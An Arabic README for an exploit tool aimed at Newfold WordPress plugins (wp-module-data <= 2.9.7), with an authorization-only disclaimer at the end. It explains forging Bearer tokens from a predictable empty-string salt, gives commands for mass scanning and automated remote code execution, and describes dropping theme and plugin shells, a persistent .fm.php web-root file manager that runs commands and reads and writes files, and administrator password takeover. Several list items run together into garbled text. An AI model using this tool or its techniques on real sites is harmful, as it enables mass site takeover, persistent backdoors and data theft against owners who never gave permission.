إضافات Newfold (wp-module-data <= 2.9.7) بدون مصادقة
تجاوز مصادقة غير مُصادَق عليه واستغلال RCE يستهدف إضافات Newfold لـ WordPress التي تتضمن wp-module-data.
تستغل هذه الأداة ثغرة في التحقق من صحة رمز Bearer في وحدة wp-module-data الخاصة بـ Newfold. عندما يكون موقع WordPress الذي يستخدم إضافة Newfold متأثرة غير متصل بـ Hiive، فإن HiiveConnection::get_auth_token() يُرجع false. تُمرَّر هذه القيمة عبر strrev() ثم تُجزَّأ (hashed)، مما يؤدي إلى انهيار الملح السري (secret salt) إلى الثابت العام:
sha256("") = e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
نظرًا لأن كل مكوّن آخر من الحمولة المُجزَّأة (طريقة HTTP، عنوان URL للطلب، جسم الطلب، الطابع الزمني) يتحكم فيه المهاجم بالكامل، يمكن حساب رمز Bearer صالح دون اتصال. يعمل الفلتر المصاب على rest_authentication_errors، لذا فإن الرمز المُزوَّر يُصادِق على المتصل بصفته لكامل واجهة WordPress REST API، بما في ذلك المسارات الأساسية. ثم يُستغَل هذا الوصول للوصول إلى تنفيذ كامل للتعليمات البرمجية عن بُعد.
| الإضافة / الوحدة | الإصدارات المتأثرة | المُرقَّعة |
|---|---|---|
| wp-module-data | <= 2.9.7 | 2.9.8 |
| bluehost-wordpress-plugin | <= 4.19.0 | n/a |
| hostgator | <= 3.2.0 | n/a |
| web | <= 2.3.5 | n/a |
| crazy-domains | <= 2.5.2 | n/a |
يشمل الكشف أيضًا معرّفات إضافات WordPress.org وهي wp-plugin-web و crazy_blog.
في vendor/newfold-labs/wp-module-data/includes/Data.php:
public function authenticate( $errors ) { // hooked on rest_authentication_errors
...
$data = array(
'method' => $_SERVER['REQUEST_METHOD'],
'url' => Url::getCurrentUrl(),
'body' => file_get_contents( 'php://input' ),
'timestamp' => dataGet( getallheaders(), 'X-Timestamp' ),
);
$hash = hash( 'sha256', wp_json_encode( $data ) );
$salt = hash( 'sha256', strrev( HiiveConnection::get_auth_token() ) );
$is_valid = hash( 'sha256', $hash . $salt ) === $token;
if ( $is_valid ) {
... wp_set_current_user( <first administrator> ); return true;
}
}
على موقع غير متصل، يُجبِر strrev(false) على التحويل إلى strrev('') الذي يُنتج ''، ويصبح الملح هو التجزئة المعروفة للسلسلة الفارغة. كل مُدخَل آخر في سلسلة التجزئة يتحكم فيه المهاجم، لذا فإن الرمز قابل للتنبؤ بالكامل.
newfold-data/v1/verify/<hex>GET /wp/v2/users/me وفحص الأدوار404.php / index.php.fm.php دائم اختياري يُسقَط في جذر الويبwp-login.php) وتسجيل الدخول الكلاسيكي عبر نموذج wp-login.phprequestsurllib3 (اختياري، فقط لكتم تحذيرات TLS)تثبيت التبعيات:
pip install requests urllib3
كشف للقراءة فقط والتحقق من التجاوز:
python3 exploit.py -u https://target.example
سلسلة كاملة إلى صدفة (shell) دائمة:
python3 exploit.py -u https://target.example --mode rce
إعادة تعيين كلمة مرور أول مسؤول بدلًا من إنشاء واحد جديد:
python3 exploit.py -u https://target.example --mode rce --takeover
فحص فقط عبر قائمة من الأهداف:
python3 exploit.py --list targets.txt
السلسلة الكاملة على كل مضيف مصاب (يتطلب موافقة صريحة):
python3 exploit.py --list targets.txt --mode rce --apply-rce
الترشيح المسبق باستخدام فحوصات الأصول الثابتة قبل لمس REST API:
python3 exploit.py --list targets.txt --brand-filter
التوقف بعد أول N من المضيفين المصابين:
python3 exploit.py --list targets.txt --stop-after 5
استئناف تشغيل سابق:
python3 exploit.py --list targets.txt --resume
| العَلَم | الوصف |
|---|---|
-u, --url | عنوان URL الأساسي لهدف واحد |
--list | ملف يحتوي على عنوان URL واحد لكل سطر |
--mode | check (كشف فقط) أو rce (السلسلة الكاملة)؛ الافتراضي check |
--takeover | إعادة تعيين كلمة مرور أول مسؤول بدلًا من إنشاء مسؤول جديد |
--output | مسار إخراج JSONL لوضع الجماعي؛ الافتراضي cve_2026_80099_results.jsonl |
--vuln-list | قائمة عناوين URL مجرّدة للمضيفين المصابين؛ الافتراضي vuln.txt |
--threads | عدد العمّال لوضع الجماعي؛ الافتراضي 20 |
--timeout | مهلة الطلب بالثواني؛ الافتراضي 15 |
--fast-timeout | مهلة الفحص السريع بالثواني؛ الافتراضي 6 |
--retries | محاولات إعادة المحاولة لكل طلب؛ الافتراضي 1 |
--proxy | عنوان URL لوكيل HTTP(S) |
--all-out | كتابة كل صفوف الوضع الجماعي، وليس المصابة فقط |
--apply-rce | تشغيل سلسلة RCE على المضيفين المصابين في الوضع الجماعي |
--brand-filter | ترشيح مسبق باستخدام الأصول الثابتة لإضافة Newfold |
--stop-after | إيقاف الفحص الجماعي بعد N من المضيفين المصابين؛ 0 يعني تشغيل الكل |
--quiet | تعطيل أسطر التقدّم لكل هدف |
--resume | الإلحاق بالمخرجات وتخطي الأهداف الموجودة بالفعل |
بمجرد تأكيد سياق المسؤول، تحاول الأداة ثلاث تقنيات بالترتيب:
صدفة محرر القالب — تكتب حمولة PHP صغيرة إلى 404.php أو index.php في القالب النشط. تُشغَّل الحمولة عبر طلب أي عنوان URL غير موجود (لـ 404.php) أو جذر الموقع (لـ index.php).
صدفة رفع الإضافة — تبني ملف ZIP يحتوي على إضافة بسيطة، وترفعه عبر wp-admin/update.php?action=upload-plugin، وتصل إلى ملف PHP الخاص بالإضافة مباشرة.
سلسلة محرر الإضافة غير النشطة — تسرد الإضافات عبر REST API، وتختار إضافة غير نشطة، وتكتب صدفة أوامر (cmd-shell) في ملفها الرئيسي عبر plugin-editor.php، وتفعّلها عبر PUT /wp/v2/plugins/<slug>، وتُشغّل الصدفة على أي عنوان URL للواجهة الأمامية، وتُسقِط .fm.php في جذر الويب، ثم تُعطّل الإضافة وتستعيد الملف الأصلي. صُمِّم هذا المسار للنجاة على المضيفين الذين يحظرون محرر القالب، أو يحظرون الوصول المباشر إلى wp-content، أو يتراجعون عن التعديلات عبر فحوصات السلامة (health checks) للاسترجاع (loopback).
عند النجاح، يُسقَط مدير ملفات .fm.php دائم في جذر الويب. يدعم:
?cmd=<shell command>?cat=<path> لقراءة ملف?put=<path>&data=<base64> لكتابة ملف?ls=<path> لسرد محتويات مجلدcve_2026_80099_results.jsonl — سجلات JSONL لكل هدف مفحوص. تتضمن الإدخالات المصابة vuln: true و admin و admin_id، وعند نجاح RCE، shell (عنوان URL لمدير الملفات أو الصدفة المُسقَطة).vuln.txt — عنوان URL مجرّد واحد لكل سطر لكل هدف مصاب أو مُصدَّف (shelled).trust_env = False لتجنّب تسريب الفحوصات الجماعية عبر الوكلاء المحليين.Url::getCurrentUrl(). يُحضَّر الطلب أولًا ويُشتَق الرمز من عنوان URL المُحضَّر.json_encode الافتراضي، بما في ذلك الشرطات المائلة الأمامية المُهرَّبة، وتهريب \uXXXX لغير ASCII، وأزواج البدائل (surrogate pairs) UTF-16 للأحرف الفلكية (astral characters)، بحيث تتطابق الحمولة المُجزَّأة بايت ببايت.401 أن الهدف مُرقَّع (الوحدة >= 2.9.8)، أو أن الموقع متصل بـ Hiive (رمز حقيقي، ملح غير معروف)، أو أن وسيطًا ما يزيل ترويسة Authorization. يشير 403 عادةً إلى تداخل فلتر آخر من rest_authentication_errors.تُقدَّم هذه الأداة للاختبار الأمني والبحث المُصرَّح به فقط. استخدمها حصريًا ضد الأنظمة التي تملكها أو لديك إذن كتابي صريح باختبارها. الوصول غير المُصرَّح به إلى أنظمة الحاسوب غير قانوني في معظم الولايات القضائية وقد يؤدي إلى عقوبات مدنية وجنائية شديدة. لا يتحمل المؤلف أي مسؤولية عن سوء الاستخدام أو الأضرار الناجمة عن هذا البرنامج.